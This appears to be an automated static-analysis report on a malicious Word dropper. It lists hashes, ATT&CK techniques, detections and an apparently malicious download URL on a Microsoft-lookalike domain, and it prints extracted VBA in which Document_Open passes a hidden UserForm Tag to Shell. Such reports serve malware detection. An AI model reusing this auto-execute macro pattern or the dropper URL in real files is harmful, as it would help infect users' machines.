Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6944ff95f07fe8f1…

MALICIOUS

Office (OLE)

90.5 KB Created: 2018-09-11 07:31:00 Authoring application: Microsoft Office Word First seen: 2019-05-31
MD5: 8000f557f5e8e256b6bd66c82e02aced SHA-1: 153eb8d39e46aff52fc3b8d327e733b20eb611dc SHA-256: 6944ff95f07fe8f163a92989e9a3bae4ca3e49c5e77c4d802f834944531dfacb
222 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is a malicious Office document containing VBA macros. The Document_Open macro executes a command using the Shell function, with the command string likely being UserForm1.Tag. This indicates the document is designed to download and execute a secondary payload from the embedded URL http://box365msmicrosoft.com/lessons01. The ClamAV detection 'Doc.Dropper.Agent-7137996-0' further supports its nature as a dropper.

Heuristics 6

  • ClamAV: Doc.Dropper.Agent-7137996-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-7137996-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://box365msmicrosoft.com/lessons01 In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 707 bytes
SHA-256: 722551348abc502b602ab8a4e54bf5054d457490fb6eb7cfdd7b2d88a7f3b9c4
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Sub Document_Open()
Call Shell(UserForm1.Tag, 2)
End Sub









Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{47B2F331-201F-4B5B-8541-6EAEE1EED4C8}{723427DC-0C51-4271-9057-C3CFD1B3F855}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False